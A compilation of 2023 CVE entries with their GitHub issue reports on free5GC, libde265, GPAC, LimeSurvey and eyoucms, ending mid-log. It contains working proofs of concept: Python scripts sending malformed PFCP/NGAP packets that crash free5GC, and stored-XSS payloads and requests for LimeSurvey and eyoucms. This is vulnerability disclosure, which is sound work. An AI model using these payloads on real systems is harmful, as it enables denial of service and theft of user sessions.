time="2023-09-22T03:24:35.965258101+08:00" level="info" msg="UPF started" CAT="Main" NF="UPF" time="2023-09-22T03:24:52.058728637+08:00" level="info" msg="handleAssociationSetupRequest" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF" time="2023-09-22T03:24:52.058889668+08:00" level="info" msg="New node" CAT="PFCP" CPNodeID="10.100.200.100" LAddr="127.0.0.8:8805" NF="UPF" time="2023-09-22T03:24:52.058307700+08:00" level="fatal" msg="panic: runtime error: slice bounds out of range [6:4]\ngoroutine 6 [running]:\nruntime/debug.Stack()\n\t/snap/go/10339/src/runtime/debug/stack.go:24 +0x5e\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x4a\npanic({0x84f480?, 0xc0001c4318?})\n\t/snap/go/10339/src/runtime/panic.go:914 +0x21f\ngithub.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc00028f578?, 0xc00028f570?, 0x7f0972c4e640?})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:637 +0x185\ngithub.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc0002935c0, {0xc00028f570, 0x10, 0x10})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/heartbeat-request.go:101 +0xb3\ngithub.com/wmnsk/go-pfcp/message.Parse({0xc00028f570, 0x10, 0x10})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/message.go:117 +0x325\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc0005ba0d0, 0xc00007a9d0)\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x48b\ncreated by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start in goroutine 1\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xb8\n" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF" ```

[Bugs] UPF crash caused by malformed PFCP messages whose 1st IE length is mutated to zero

https://api.github.com/repos/free5gc/free5gc/issues/483/comments

2023-09-22T03:19:07Z

2023-11-26T13:11:19Z

https://github.com/free5gc/free5gc/issues/483

CVE-2023-47347

2023-11-15T22:15:27.930

Buffer Overflow vulnerability in free5gc 3.3.0 allows attackers to cause a denial of service via crafted PFCP messages whose Sequence Number is mutated to overflow bytes.

https://github.com/free5gc/free5gc/issues/496

github.com

[Bugs] UPF crash caused by malformed PFCP message whose Sequence Number is mutated to overflow bytes ## Describe the bug While fuzzing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when send malformed PFCP Heartbeat Request whose Sequence Number is mutated to overflow bytes (e.g. 0xFF 0xFF 0xFF 0xFF). This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash. ## To Reproduce Steps to reproduce the behavior: 1. Build the UPF with source code 2. Run the bin/upf with default config/upfcfg.yaml 3. Run the following POC python script ```python #!/usr/bin/env python3 import socket udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_socket.settimeout(1.0) pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00' pfcp_heartbeat_request = b'\x20\x01\x00\x0f\x00\x00\x00\xff\xff\xff\x00\x00\x60\x00\x04\xe8\x1f\xdc\x30' udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805)) try: udp_socket.recv(65535) except Exception as exception: print(f"Receive failed: {exception}") udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805)) try: udp_socket.recv(65535) except Exception as exception: print(f"Receive failed: {exception}") udp_socket.close() ``` ## Expected behavior Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check the total length of PFCP messages, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF. ## Screenshots No special screenshot is provided. ## Environment (please complete the following information): - free5GC Version: v3.3.0 - OS: Ubuntu 20.04 - Kernel version: 5.4.5-050405-generic - go version: go1.21.1 linux/amd64 ## Trace File ### Configuration File No specific configuration is required. ### PCAP File No specific pcap file is provided. ### Log File ```bash 2023-10-24T17:49:15.614745280+08:00 [INFO][UPF][CFG] ================================================== 2023-10-24T17:49:15.614761831+08:00 [INFO][UPF][Main] Log level is set to [info] 2023-10-24T17:49:15.614777264+08:00 [INFO][UPF][Main] Report Caller is set to [false] 2023-10-24T17:49:15.614837834+08:00 [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g] 2023-10-24T17:49:15.614864772+08:00 [INFO][UPF][Main] GTP Address: "127.0.0.8:2152" 2023-10-24T17:49:15.650332227+08:00 [INFO][UPF][BUFF] buff netlink server started 2023-10-24T17:49:15.650439249+08:00 [INFO][UPF][Perio] perio server started 2023-10-24T17:49:15.650444691+08:00 [INFO][UPF][Gtp5g] Forwarder started 2023-10-24T17:49:15.652112097+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] starting pfcp server 2023-10-24T17:49:15.652132290+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] pfcp server started 2023-10-24T17:49:15.652138607+08:00 [INFO][UPF][Main] UPF started 2023-10-24T17:50:42.343823681+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] handleAssociationSetupRequest 2023-10-24T17:50:42.343962121+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805][CPNodeID:10.100.200.100] New node 2023-10-24T17:50:42.347048969+08:00 [FATA][UPF][PFCP][LAddr:127.0.0.8:8805] panic: runtime error: slice bounds out of range [6:4] goroutine 10 [running]: runtime/debug.Stack() /usr/local/go/src/runtime/debug/stack.go:24 +0x65 github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1() /home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x5d panic({0x860400, 0xc000490210}) /usr/local/go/src/runtime/panic.go:1038 +0x215 github.com/wmnsk/go-pfcp/ie.(*IE).UnmarshalBinary(0x10000c0000cbb30, {0xc000490200, 0x20, 0x30}) /home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:371 +0x1a5 github.com/wmnsk/go-pfcp/ie.Parse({0xc000490200, 0xb, 0xb}) /home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:339 +0x48 github.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc000490200, 0x13, 0x13}) /home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:632 +0x8c github.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc000096720, {0xc0004901f8, 0x0, 0xadaa82a41536e5d2}) /home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/heartbeat-request.go:101 +0x6e github.com/wmnsk/go-pfcp/message.Parse({0xc0004901f8, 0x13, 0x13}) /home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/message.go:117 +0x3ab github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc000400a90, 0xc0004030d0) /home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x4ce created by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start /home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xd2 ```

[Bugs] UPF crash caused by malformed PFCP messages whose Sequence Number is mutated to overflow bytes

https://api.github.com/repos/free5gc/free5gc/issues/496/comments

2023-10-24T11:07:44Z

2023-11-26T13:36:56Z

https://github.com/free5gc/free5gc/issues/496

CVE-2023-47471

2023-11-16T04:15:06.857

Buffer Overflow vulnerability in strukturag libde265 v1.10.12 allows a local attacker to cause a denial of service via the slice_segment_header function in the slice.cc component.

https://github.com/strukturag/libde265/issues/426

github.com

# SEGV in libde265 ### Description Libde265 v1.0.12 was discovered to contain a SEGV via the function slice_segment_header::dump_slice_segment_header at slice.cc. ### Version ```shell libde265/dec265 v1.0.12 ``` ### ASAN Log ./dec265/dec265 -c -d -f 153 poc1libde265 ```shell AddressSanitizer:DEADLYSIGNAL ================================================================= ==38==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000551716 bp 0x7ffff7ad66a0 sp 0x7fffffff3de0 T0) ==38==The signal is caused by a READ memory access. ==38==Hint: address points to the zero page. #0 0x551716 in slice_segment_header::dump_slice_segment_header(decoder_context const*, int) const /afltest/libde265/libde265/slice.cc:1281:3 #1 0x4db1b1 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) /afltest/libde265/libde265/decctx.cc:646:11 #2 0x4e5626 in decoder_context::decode_NAL(NAL_unit*) /afltest/libde265/libde265/decctx.cc:1241:11 #3 0x4e6247 in decoder_context::decode(int*) /afltest/libde265/libde265/decctx.cc:1329:16 #4 0x4cd5c4 in main /afltest/libde265/dec265/dec265.cc:784:17 #5 0x7ffff790d082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #6 0x41e66d in _start (/afltest/libde265/dec265/dec265+0x41e66d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /afltest/libde265/libde265/slice.cc:1281:3 in slice_segment_header::dump_slice_segment_header(decoder_context const*, int) const ==38==ABORTING ``` ### Reproduction ```shell ./autogen.sh export CFLAGS="-g -lpthread -fsanitize=address" export CXXFLAGS="-g -lpthread -fsanitize=address" CC=clang CXX=clang++ ./configure --disable-shared make -j 32 ./dec265/dec265 -c -d -f 153 poc1libde265 ``` ### PoC poc1libde265: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc1libde265 ### Reference https://github.com/strukturag/libde265 ### Environment ``` ubuntu:20.04 gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) clang version 10.0.0-4ubuntu1 afl-cc++4.09 ``` ### Credit Zeng Yunxiang Song Jiaxuan

SEGV in libde265 in slice_segment_header::dump_slice_segment_header

https://api.github.com/repos/strukturag/libde265/issues/426/comments

2023-11-03T17:48:11Z

2023-11-07T07:21:53Z

https://github.com/strukturag/libde265/issues/426

CVE-2023-47025

2023-11-16T23:15:08.123

An issue in Free5gc v.3.3.0 allows a local attacker to cause a denial of service via the free5gc-compose component.

https://github.com/free5gc/free5gc/issues/501

github.com

## Describe the bug When I try to send a captured UE registration request message to the AMF, the log shows 'sctp accept from <nil>,' and the AMF crashes, causing disconnection for other UEs as well. ## To Reproduce Steps to reproduce the behavior: 1. Using free5gc-compose to establish the AMF. 2. run free5gc with default config. 3. Run the following POC python script `import sys, sctp, socket if len(sys.argv) != 2: print("Usage: free5gc.py server-address") exit(0) sk = sctp.sctpsocket_tcp(socket.AF_INET) sk.connect((sys.argv[1], 38412)) ue_request=b'\x00\x0f\x40\x48\x00\x00\x05\x00\x55\x00\x02\x00\x01\x00\x26\x00\x1a\x19\x7e\x00\x41\x79\x00\x0d\x01\x02\xf8\x39\x00\x00\x00\x00\x00\x00\x00\x00\x30\x2e\x04\xf0\xf0\xf0\xf0\x00\x79\x00\x13\x50\x02\xf8\x39\x00\x00\x00\x01\x00\x02\xf8\x39\x00\x00\x01\xe8\xe8\x7e\xd4\x00\x5a\x40\x01\x18\x00\x70\x40\x01\x00' sk.sctp_send(ue_request, ppid=socket.htonl(60)) sk.close()` ## Expected behavior I have sent the registration request of a UE that has already completed registration, so the expected behavior should be a notification that the user is already registered and a rejection of the request.However, the AMF crashed ## Screenshots  ## Environment (please complete the following information): - free5GC Version: v3.3.0 - OS: Ubuntu 20.04.1 live-server - Kernel version: 5.4.0-165-generic ## Trace File ### Configuration File Use the default config file. ### PCAP File [crash.zip](https://github.com/free5gc/free5gc/files/13198058/crash.zip) ### Log File `amf | 2023-10-29T11:42:37.467203444Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil> amf | 2023-10-29T11:42:37.467906401Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference amf | goroutine 137 [running]: amf | runtime/debug.Stack() amf | /usr/local/go/src/runtime/debug/stack.go:24 +0x65 amf | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1() amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58 amf | panic({0xbb3280, 0x13088a0}) amf | /usr/local/go/src/runtime/panic.go:1038 +0x215 amf | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc0001ec020}, {0xc0008ce000, 0x40000, 0x40000}) amf | /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac amf | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc0001ec020, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50}) amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417 amf | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe n3iwf | 2023-10-29T11:42:37.490422713Z [WARN][N3IWF][NGAP] [SCTP] Close connection. n3iwf | 2023-10-29T11:42:37.490494299Z [INFO][N3IWF][NGAP] NGAP receiver stopped n3iwf | 2023-10-29T11:42:37.490506087Z [INFO][N3IWF][NGAP] NGAP server stopped ueransim | [2023-10-29 11:42:37.490] [sctp] [debug] SCTP association shutdown (clientId: 2) ueransim | [2023-10-29 11:42:37.491] [sctp] [warning] Unhandled SCTP notification received ueransim | [2023-10-29 11:42:37.491] [ngap] [error] Association terminated for AMF[2] ueransim | [2023-10-29 11:42:37.491] [ngap] [debug] Removing AMF context[2] ` ## Additional context This security issue could allow anyone to send an message that would cause an amf denial of service and severely affect other users.

[Bugs]Amf crashed when failed to resolve the IP of ngap message , resulting in a null pointer reference.

https://api.github.com/repos/free5gc/free5gc/issues/501/comments

2023-10-29T12:48:07Z

2023-12-04T08:48:37Z

https://github.com/free5gc/free5gc/issues/501

CVE-2023-44796

2023-11-18T00:15:07.133

Cross Site Scripting (XSS) vulnerability in LimeSurvey before version 6.2.9-230925 allows a remote attacker to escalate privileges via a crafted script to the _generaloptions_panel.php component.

https://github.com/Hebing123/cve/issues/4

github.com

**LimeSurvey 6.2.9-230925 has a storage based XSS vulnerability caused by importManifest in [limesurvey/limesurvey](https://huntr.com/repos/limesurvey/limesurvey)** ### **Description** A regular user with "theme" privileges who maliciously sets the "templatename" during the importManifest process can lead to a stored Cross-Site Scripting (XSS) vulnerability. ### **Proof of Concept** The first step is to create a user with only 'theme' permission. Log in to this user and make a request to/index.php/themeOptions/importManifest. Payload: `"><script>alert(1)</script>//` ### **Request:** ``` POST /index.php/themeOptions/importManifest HTTP/1.1 Host: 192.168.160.130 Content-Length: 362 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.160.130 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.160.130/index.php/themeOptions/index Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: [] Connection: close ------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx Content-Disposition: form-data; name="YII_CSRF_TOKEN" cEVmTmlNRXlqNVFBSl9qYnVGUmtjd2VZUHJtQ0F1UG5pEjQOU-SeXW7To0RH9_rPINh_thglgRaA23WdYDqjUA== ------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx Content-Disposition: form-data; name="templatename" 123"><script>alert(1)</script>// ------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx-- ``` When administrators or other users access http://192.168.160.130/index.php/themeOptions When, it will be subjected to storage based XSS attacks. ### **Impact** Attackers can import a templatename containing a payload to execute JavaScript code and hijack the administrator’s cookie. [tiborpacalat](https://huntr.com/users/tiborpacalat/) marked this as fixed in 6.2.9+230925 with commit [135511](https://www.github.com/limesurvey/limesurvey/commit/135511073c51c332613dd7fad9a8ca0aad34a3fe) 2 months ago

LimeSurvey 6.2.9-230925 has a storage based XSS vulnerability caused by importManifest in limesurvey/limesurvey

https://api.github.com/repos/Hebing123/cve/issues/4/comments

2023-12-14T03:31:28Z

2024-03-11T06:23:47Z

https://github.com/Hebing123/cve/issues/4

CVE-2023-48039

2023-11-20T15:15:09.820

GPAC 2.3-DEV-rev617-g671976fcc-master is vulnerable to memory leak in gf_mpd_parse_string media_tools/mpd.c:75.

https://github.com/gpac/gpac/issues/2679

github.com

1.Version ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io/ Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D 2.ASAN [DASH] Updated manifest: P#1: start 0 - duration 0 - xlink none [DASH] Manifest after update: P#1: start 0 - duration 0 - xlink none [DASH] Setting up period start 0 duration 0 xlink none ID DID1 [DASH] AS#1 changed quality to bitrate 10 kbps - Width 1280 Height 720 FPS 30/1 (playback speed 1) [DASH] AS#2 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1) [DASH] No ROUTE entity on HTTP request [DASH] Segment duration unknown - cannot estimate current startNumber [DASH] Cannot try to download (null)... out of memory ? [DASH] AS#3 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1) [DASH] AS#4 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1) [DASH] AS#5 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1) [DASH] Adaptation 16: non-video in a video group - disabling it [DASH] AS#6 changed quality to bitrate 31 kbps (playback speed 1) [DASH] AS#6 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1) [DASH] AS#7 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1) [DASH] AS#8 changed quality to bitrate 120 kbps - Width 384 Height 208 FPS 30/1 (playback speed 1) [DASH] AS#9 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1) [DASH] AS#10 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASH] No ROUTE entity on HTTP request [DASH] Segment duration unknown - cannot estimate current startNumber [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASH] No ROUTE entity on HTTP request [DASH] AST at init 1621274304781 [DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07) [DASHDmx] group 0 error locating plugin for segment - mime type video/mp4 name crashes/live_dash_track1_init.mp4: Requested URL is not valid or cannot be found Filters not connected: fout (dst=id_000070,sig_06,src_000600,time_26661155,execs_144902,op_havoc,rep_1_dash.mpd:gpac:segdur=10000/1000:profile=full:!sap:buf=1500:!check_dur:pssh=v:subs_sidx=0) (idx=1) Arg segdur set but not used Arg profile set but not used Arg !sap set but not used Arg buf set but not used Arg !check_dur set but not used Arg pssh set but not used Arg subs_sidx set but not used ================================================================= ==2943152==ERROR: LeakSanitizer: detected memory leaks Direct leak of 20 byte(s) in 2 object(s) allocated from: #0 0x7fb5f41339a7 in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cpp:454 #1 0x7fb5f2fd4bbc in gf_mpd_parse_string media_tools/mpd.c:75 #2 0x7fb5f2fd4bbc in gf_mpd_parse_common_representation_attr media_tools/mpd.c:665 SUMMARY: AddressSanitizer: 20 byte(s) leaked in 2 allocation(s). 3.Reproduction ./MP4Box -dash 10000 $poc 4.POC file [crash.zip](https://github.com/gpac/gpac/files/13274821/crash.zip) 5.Impact Malicious files that are opened may cause a crash 6.Credit LOVERJIE

memory leaks in gf_mpd_parse_string media_tools/mpd.c:75

https://api.github.com/repos/gpac/gpac/issues/2679/comments

2023-11-07T02:35:25Z

2023-12-04T10:07:49Z

https://github.com/gpac/gpac/issues/2679

CVE-2023-48090

2023-11-20T15:15:09.863

GPAC 2.3-DEV-rev617-g671976fcc-master is vulnerable to memory leaks in extract_attributes media_tools/m3u8.c:329.

https://github.com/gpac/gpac/issues/2680

github.com

1.Version ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io/ Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D 2.ASAN [M3U8] Unsupported directive #EXT-X-VERSION: [M3U8] Attribute SEQUENCE:1 not supported [M3U8] Invalid #EXT-X-MEDIA: TYPE is missing. Ignoring the line. [M3U8] Invalid URI (URI=") in EXT-X-MAP [M3U8] Failed to parse root playlist './crashes/crash4', error = BitStream Not Compliant [DASH] Error - cannot connect service: MPD creation problem BitStream Not Compliant [DASHDmx] Error - cannot initialize DASH Client for ./crashes/crash4: BitStream Not Compliant Failed to connect filter fin PID crash4 to filter dashin: BitStream Not Compliant Blacklisting dashin as output from fin and retrying connections Failed to find any filter for URL ./crashes/crash4, disabling destination filter fout Filter fin failed to setup: Filter not found for the desired type Filters not connected: fout (dst=crash4_dash.mpd:gpac:segdur=500000/1000:profile=full:!sap:buf=1500:!check_dur:pssh=v:subs_sidx=0) (idx=1) Arg segdur set but not used Arg profile set but not used Arg !sap set but not used Arg buf set but not used Arg !check_dur set but not used Arg pssh set but not used Arg subs_sidx set but not used Error DASHing file: Filter not found for the desired type ================================================================= ==150880==ERROR: LeakSanitizer: detected memory leaks Direct leak of 120 byte(s) in 1 object(s) allocated from: #0 0x7f7fcaf3ca57 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154 #1 0x7f7fc9d73286 in extract_attributes media_tools/m3u8.c:329 Indirect leak of 11 byte(s) in 1 object(s) allocated from: #0 0x7f7fcaf3ca57 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154 #1 0x7f7fc9d7385b in extract_attributes media_tools/m3u8.c:345 SUMMARY: AddressSanitizer: 131 byte(s) leaked in 2 allocation(s).. 3.Reproduction ./MP4Box -dash 500000 $poc 4.POC file [crash.00.zip](https://github.com/gpac/gpac/files/13276778/crash.00.zip) 5.Impact Memory leaks can cause program performance degradation, system crashes, or unpredictable behavior 6. Credit jarront

memory leaks in extract_attributes media_tools/m3u8.c:329

https://api.github.com/repos/gpac/gpac/issues/2680/comments

2023-11-07T07:24:45Z

2023-12-04T10:07:50Z

https://github.com/gpac/gpac/issues/2680

CVE-2023-46935

2023-11-21T07:15:09.967

eyoucms v1.6.4 is vulnerable Cross Site Scripting (XSS), which can lead to stealing sensitive information of logged-in users.

https://github.com/weng-xianhu/eyoucms/issues/55

github.com

Software Link : https://github.com/weng-xianhu/eyoucms Website : http://www.eyoucms.com/ Vulnerable version 1.6.4 download address ：https://qiniu.eyoucms.com/source/EyouCMS-V1.6.4-UTF8-SP1_1015.zip After the installation is complete, log in as admin, open the page [](https://imgse.com/i/piEvffK) [](https://imgse.com/i/piEvoOH) Here you can fill in malicious JavaScript code to cause stored xss [](https://imgse.com/i/piEvXff) Enter the code and it will be automatically saved successfully [](https://imgse.com/i/piEx3h6) Refresh the page Malicious code is inserted into the webpage [](https://imgse.com/i/piEx6gS) Causes stored XSS to steal sensitive information of logged-in users [](https://imgse.com/i/piExdHA) POC : ```Plaintext "><img src=1 onerror=alert(/xss/)>< ```

There is stored XSS in version 1.6.4 which can lead to stealing sensitive information of logged-in users

https://api.github.com/repos/weng-xianhu/eyoucms/issues/55/comments

2023-10-25T08:40:36Z

2024-03-22T02:09:22Z

https://github.com/weng-xianhu/eyoucms/issues/55

CVE-2023-43887

2023-11-22T18:15:08.747

Libde265 v1.0.12 was discovered to contain multiple buffer overflows via the num_tile_columns and num_tile_row parameters in the function pic_parameter_set::dump.

https://github.com/strukturag/libde265/issues/418

github.com

## Summary There is a segmentation fault caused by a buffer over-read on pic_parameter_set::dump due to an incorrect value of num_tile_columns or num_tile_rows. ## Tested with: * Commit: 6fc550faeca2bbb1c82de5f29d970f6861146862 (master) * PoC: [poc](https://drive.google.com/file/d/1ISOxgjmw9mPCs-vIh84hsgEB2MfMcwHj/view?usp=drive_link) * cmd: `./dec265 -d poc` ## Crash output: ``` INFO: ----------------- SPS ----------------- INFO: video_parameter_set_id : 0 INFO: sps_max_sub_layers : 1 INFO: sps_temporal_id_nesting_flag : 1 INFO: general_profile_space : 0 INFO: general_tier_flag : 0 INFO: general_profile_idc : Main INFO: general_profile_compatibility_flags: 0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INFO: general_progressive_source_flag : 0 INFO: general_interlaced_source_flag : 0 INFO: general_non_packed_constraint_flag : 0 INFO: general_frame_only_constraint_flag : 0 INFO: general_level_idc : 60 (2.00) INFO: seq_parameter_set_id : 0 INFO: chroma_format_idc : 1 (4:2:0) INFO: pic_width_in_luma_samples : 416 INFO: pic_height_in_luma_samples : 240 INFO: conformance_window_flag : 1 INFO: conf_win_left_offset : 0 INFO: conf_win_right_offset : 0 INFO: conf_win_top_offset : 0 INFO: conf_win_bottom_offset: 0 INFO: bit_depth_luma : 10 INFO: bit_depth_chroma : 9 INFO: log2_max_pic_order_cnt_lsb : 4 INFO: sps_sub_layer_ordering_info_present_flag : 1 INFO: Layer 0 INFO: sps_max_dec_pic_buffering : 5 INFO: sps_max_num_reorder_pics : 3 INFO: sps_max_latency_increase_plus1 : 0 INFO: log2_min_luma_coding_block_size : 3 INFO: log2_diff_max_min_luma_coding_block_size : 1 INFO: log2_min_transform_block_size : 2 INFO: log2_diff_max_min_transform_block_size : 2 INFO: max_transform_hierarchy_depth_inter : 0 INFO: max_transform_hierarchy_depth_intra : 0 INFO: scaling_list_enable_flag : 0 INFO: amp_enabled_flag : 1 INFO: sample_adaptive_offset_enabled_flag : 1 INFO: pcm_enabled_flag : 0 INFO: num_short_term_ref_pic_sets : 11 INFO: ref_pic_set[ 0 ]: X...X.X.X.......|................ INFO: ref_pic_set[ 1 ]: ..........X.X...|...X............ INFO: ref_pic_set[ 2 ]: ............X.X.|.X...X.......... INFO: ref_pic_set[ 3 ]: ...............X|X.X...X......... INFO: ref_pic_set[ 4 ]: .............X.X|X...X........... INFO: ref_pic_set[ 5 ]: ..........X.X.X.|.X.............. INFO: ref_pic_set[ 6 ]: ...........X...X|X.X............. INFO: ref_pic_set[ 7 